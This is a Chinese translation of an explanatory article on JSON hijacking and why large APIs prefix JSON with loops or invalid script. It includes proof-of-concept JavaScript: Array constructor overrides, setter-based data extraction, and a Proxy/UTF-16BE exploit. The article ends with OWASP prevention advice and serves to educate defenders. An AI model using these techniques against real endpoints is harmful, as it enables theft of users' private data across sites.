时隔16年Jeff Barr重返10.23-25 QCon上海站,带你看透AI如何重塑软件开发! 了解详情
写点什么

你知道为什么 Facebook 的 API 以一个循环作为开头吗?

  • 2018-11-26
  • 本文字数:2417 字

    阅读完需:约 8 分钟

你知道为什么Facebook的API以一个循环作为开头吗?

如果你有在浏览器中查看过发给大公司 API 的请求,你可能会注意到,JSON 前面会有一些奇怪的 JavaScript:



为什么他们会用这几个字节来让 JSON 失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。


这个漏洞被称为JSON劫持,也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。


你可以这样:


function Array(){    alert('You created an array!');}var x = [1,2,3];
复制代码


这样就会弹出 alert!


使用以下脚本替换 var x,攻击者就可以阅读你的电子邮件!


这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。


<script src="https://gmail.com/messages"></script>
复制代码

数据提取

即使你重载了构造函数,仍然可以通过 this 来访问它。


这是一个代码片段,它将 alert 数组的所有数据:


function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}
复制代码


在创建数组后,它们的值将被 alert 出来!


ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。


尽管 ES4 从未发布,但主要浏览器在发现后很快就修复了这个漏洞。


在今天的 JavaScript 中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。


这是之前的一个修订版本:


// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);
复制代码


这是一个使用 Array 关键字创建数组的版本:


function Array(){    console.log(arguments);}
Array("secret","values");
复制代码


如你所见,你添加到数组中的数据被记录下来,但功能保持不变!


修复方案并没有阻止使用 Array 来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。


这意味着我们仍然可以创建一个 Array 函数,但不能与方括号([1,2,3])一起使用。


如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?


随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!


来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体,它仍然允许我们从 JSON 端点窃取数据!


通过使用 Proxies(而不是 Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。


它可以像 Accessor 一样,但可以访问任意可访问或写入属性。


使用这个和另外一个技巧,就可以再次窃取数据!


UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。


使用这个脚本:


<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
复制代码


通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!


这是 Gareth 最后的 POC,摘自他的博文:


<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
复制代码


我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是 OWASP 的官方建议


  • 使用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。

  • 始终将 JSON 作为对象返回。


最后的解决方案很有趣。


在 Firefox 和 IE 中,这个是有效的:


x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}
复制代码


但这样不行:


{"key":"value"}
复制代码


它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头,而不是创建对象。


没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。


如果我们把这个StackOverflow答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。


谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐


12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule


2018-11-26 14:433535
用户头像

发布了 731 篇内容, 共 478.4 次阅读, 收获喜欢 2008 次。

关注

评论 1 条评论

发布
暂无评论
发现更多内容

【HarmonyOS】鸿蒙动画旋转方式比较

zhongcx

【HarmonyOS】鸿蒙搜索历史记录

zhongcx

【HarmonyOS】鸿蒙面包屑导航实现示例

zhongcx

【HarmonyOS】鸿蒙仿iOS线性渐变实现

zhongcx

【HarmonyOS】鸿蒙九宫格拼图游戏

zhongcx

【HarmonyOS】鸿蒙TextInput值获取方法

zhongcx

【HarmonyOS】鸿蒙高仿华为阅读翻页

zhongcx

【HarmonyOS】公司鸿蒙项目收工总结之《API》

zhongcx

【HarmonyOS】公司鸿蒙项目收工总结之《三方库》

zhongcx

【HarmonyOS】鸿蒙Flex布局文本位置

zhongcx

【HarmonyOS】鸿蒙自定义TabLayout示例

zhongcx

【HarmonyOS】鸿蒙利用emitter封装工具类

zhongcx

【HarmonyOS】公司鸿蒙项目收工总结之《组件》

zhongcx

【HarmonyOS】鸿蒙横向List高度适配

zhongcx

鸿蒙应用示例:如何解决DevEco预览器上下白色间距问题及实现全屏沉浸式体验

zhongcx

【HarmonyOS】鸿蒙Web组件同步与异步数据获取

zhongcx

【HarmonyOS】鸿蒙抖动动画方案

zhongcx

【HarmonyOS】鸿蒙背景色渐变叠加

zhongcx

鸿蒙应用示例:购物车侧滑删除、侧滑收藏、计算价格

zhongcx

【HarmonyOS】鸿蒙选择列表数量限制

zhongcx

【HarmonyOS】鸿蒙TextInput小数限制

zhongcx

【HarmonyOS】鸿蒙多Toast显示工具类

zhongcx

【HarmonyOS】鸿蒙TaskPool非阻塞UI

zhongcx

【HarmonyOS】鸿蒙borderRadius百分比计算

zhongcx

【HarmonyOS】鸿蒙图片淡入淡出切换

zhongcx

【HarmonyOS】鸿蒙头像裁剪圆形遮罩效果实现demo

zhongcx

【HarmonyOS】公司鸿蒙项目收工总结之《屏幕适配》

zhongcx

你知道为什么Facebook的API以一个循环作为开头吗?_编程语言_Antony Garand_InfoQ精选文章